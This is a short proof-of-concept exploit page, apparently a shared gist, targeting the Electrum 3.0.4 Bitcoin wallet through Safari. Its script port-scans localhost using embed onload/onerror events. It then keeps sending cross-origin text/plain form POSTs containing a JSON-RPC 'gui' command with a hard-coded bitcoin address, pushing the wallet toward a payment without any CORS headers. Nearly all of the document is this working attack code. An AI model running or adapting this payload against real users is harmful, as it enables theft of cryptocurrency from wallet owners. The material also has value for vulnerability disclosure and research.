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Simple port-scan using embed+onerror in Safari to send gui-commands to Electrum 3.0.4 without the need of any CORS-headers
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| <body> | |
| <style>pre { white-space: inherit }</style> | |
| <pre id="log"></pre> | |
| <div id="ports" style="visibility: hidden; height: 0; width: 0;"></div> | |
| <iframe src="about:blank" name="x" id="x" style="display: none;"></iframe> | |
| </body> | |
| <script> | |
| var electrum = { | |
| logbreak: function() { e = document.createElement('br'); document.getElementById('log').appendChild(e); }, | |
| log: function(s) { e = document.createElement('span'); e.innerText = s+" "; document.getElementById('log').appendChild(e); }, | |
| ports: document.getElementById('ports'), | |
| found_port: false, | |
| port: 0 | |
| } | |
| electrum.stage1 = function() { | |
| electrum.log('Checking "open" ports using Safari bug...') | |
| electrum.stage1.start(20000); | |
| } | |
| electrum.stage1.start = function(s) { | |
| electrum.log(s); | |
| electrum.stage1.images = [] | |
| electrum.stage1.remove = function(e,x) { | |
| electrum.ports.removeChild(this) | |
| delete this | |
| } | |
| if(electrum.found_port) return; | |
| for(var i = s; i <= s+1000; i++) { | |
| var port = i; | |
| var x = document.createElement('embed'); | |
| x.src = 'http://127.0.0.1:'+port+'/x'; | |
| x.onload = electrum.stage1.done; | |
| x.onerror = electrum.stage1.remove; | |
| x.dataset.port = port | |
| x.dataset.i = i | |
| electrum.ports.appendChild(x) | |
| setTimeout(function(x) { electrum.ports.removeChild(x) },1000,x) | |
| electrum.stage1.images[i] = x | |
| } | |
| setTimeout(function(){electrum.stage1.start(s+1000);},2000); | |
| } | |
| electrum.stage1.done = function(e) { | |
| electrum.ports.removeChild(e.target) | |
| electrum.found_port = true; | |
| electrum.port = e.target.dataset.port; | |
| electrum.logbreak() | |
| electrum.log('Open port found: ' + e.target.dataset.port) | |
| electrum.stage2() | |
| } | |
| electrum.stage2 = function() { | |
| electrum.log('Will set receiver address in 5 secs'); | |
| setTimeout(function() { | |
| electrum.stage2.start(); | |
| }) | |
| } | |
| electrum.stage2.start = function() { | |
| f = document.createElement('form'); | |
| f.method = 'POST'; | |
| f.target = 'x'; | |
| f.enctype = 'text/plain'; | |
| f.action = 'http://127.0.0.1:' + electrum.port + '/'; | |
| i = document.createElement('input'); | |
| i.type = 'hidden'; | |
| i.name = '{"id":0,"method":"gui","params":[{"url":"bitcoin:1Jsjd6xL9NPzzUY5FxM7y614FFVKeg3QbM?'; | |
| i.value = '"}]}'; | |
| f.appendChild(i) | |
| setInterval(function() { f.submit(); }, 5000); | |
| } | |
| //electrum.port = '59768'; | |
| electrum.stage1() | |
| </script> |
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